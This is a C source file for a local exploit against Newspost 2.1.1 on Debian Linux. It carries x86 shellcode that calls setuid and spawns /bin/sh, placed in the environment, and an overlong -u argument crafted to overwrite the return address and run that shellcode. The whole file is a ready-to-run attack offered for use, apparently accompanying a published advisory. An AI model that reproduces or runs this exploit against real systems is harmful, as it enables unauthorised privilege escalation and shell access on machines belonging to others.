/* Topic   : Local Exploit Against Newspost 2.1.1
 *
 * System  : Debian Linux 2.4.29-vs1.2.10
 *
 * Author  : posidron / posidron@tripbit.org
 *
 * Advisory: http://tripbit.org/advisories/TA-190205.html
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char shell[] = "\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68"
               "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
               "\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31"
               "\xc0\x31\xdb\xb0\x01\xcd\x80";

#define BINARY "/usr/bin/newspost"

int main (int argc, char *argv[]) {
  char *cmd[9], *env[2], payload[1039], tmp[1036];
  unsigned int xaddr;

  printf("Local  Exploit Against <= Newspost-2.1.1\n");
  printf("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");

  memset(tmp, 'A', 1032);
  xaddr = 0xbffffffa - strlen(shell) - strlen(BINARY);
  printf("{-} return address: 0x%x\n", xaddr);

  tmp[1013] = (xaddr & 0x000000ff) >> 0;
  tmp[1014] = (xaddr & 0x0000ff00) >> 8;
  tmp[1015] = (xaddr & 0x00ff0000) >> 16;
  tmp[1016] = (xaddr & 0xff000000) >> 24;
  tmp[1017] = '\0';

  sprintf(payload, "-u %s", tmp);

  cmd[0] = BINARY;
  cmd[1] = "dump";
  cmd[2] = "-inews.fu-berlin.de";
  cmd[3] = "-z119";
  cmd[4] = "-pBBBBB";
  cmd[5] = "-fA@A";
  cmd[6] = "-na.b";
  cmd[7] = "-sa";
  cmd[8] = payload;
  cmd[9] = NULL;

  env[0] = shell;
  env[1] = NULL;

  printf("{-} creating dump file.\n");
  system("touch dump");

  printf("{-} spawing shell in less than 10 seconds...\n");

  execve(cmd[0], cmd, env);

  return -1;
}